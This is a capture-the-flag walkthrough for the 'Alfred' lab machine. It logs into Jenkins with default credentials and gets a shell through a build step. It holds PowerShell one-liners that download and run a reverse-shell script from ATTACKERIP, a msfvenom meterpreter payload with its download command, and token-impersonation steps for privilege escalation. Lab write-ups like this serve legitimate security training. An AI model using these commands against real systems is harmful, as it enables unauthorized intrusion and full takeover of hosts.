Alfred
Tasks:
Initial Access:
- Nmap Scan with
nmap -T5 -sV ipreveals - 80,3389.8080 open where 80 has Microsoft IIS Server running and 8080 has Jetty 9.4.z snapshot and upon opening http://ip:8080 in browser we see it's a jenkin instance login page. - Login with default credentials admin:admin, Go to Project > configure >General > Build >Execute Batch Command
- Nishang is collection of PS scripts used for enumeration, Windows PE, reverse shell etc., we will be using reverse shell script for this task , host the script using python http server in port 80.
- Start netcat listener at port 1337 in attacker terminal, type
powershell iex (New-Object Net.WebClient).DownloadString(‘http://ATTACKERIP:80/Shells/Invoke-PowerShellTcp.ps1’);Invoke-PowerShellTcp -Reverse -IPAddress ATTACKERIP -Port 1337in textbox below Execute Batch Command , save and start build to get shell in netcat. cd C:\Users\bruce\Desktopandtype user.txtto obtain user flag.
- Nmap Scan with
- Switching Shells:
- Generate payload using
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=ATTACKERIP LPORT=ATTACKERPORT -f exe -o shell.exe - Download payload to victim using
powershell "(New-Object System.Net.WebClient).Downloadfile('http://ATTACKERIP:80/Shells/shell.exe','shell.exe')". - Set up handler in metasploit to start listening ,
use exploit/multi/handler,set PAYLOAD windows/meterpreter/reverse_tcp,set LHOST ATTACKERIP,set LPORT ATTACKERPORT&run Start-Process shell.exeto get meterpreter shell
- Generate payload using
- Privilege Escalation:
- Run
whoami /priv- SeDebugPrivilege, SeImpersonatePrivilege enabled - In meterpreter shell run
load incognitoto exploit this,list_tokens -gto list available tokens to impersonate ,impersonate_token "BUILTIN\Administrators"to impersonate Admin token. migrate pid- migrate to safe process like services.exe- Now run
pwd- you will be inside C:\Windows\System32\ ,cd config,cat root.txtto obtain root flag and submit !!!
- Run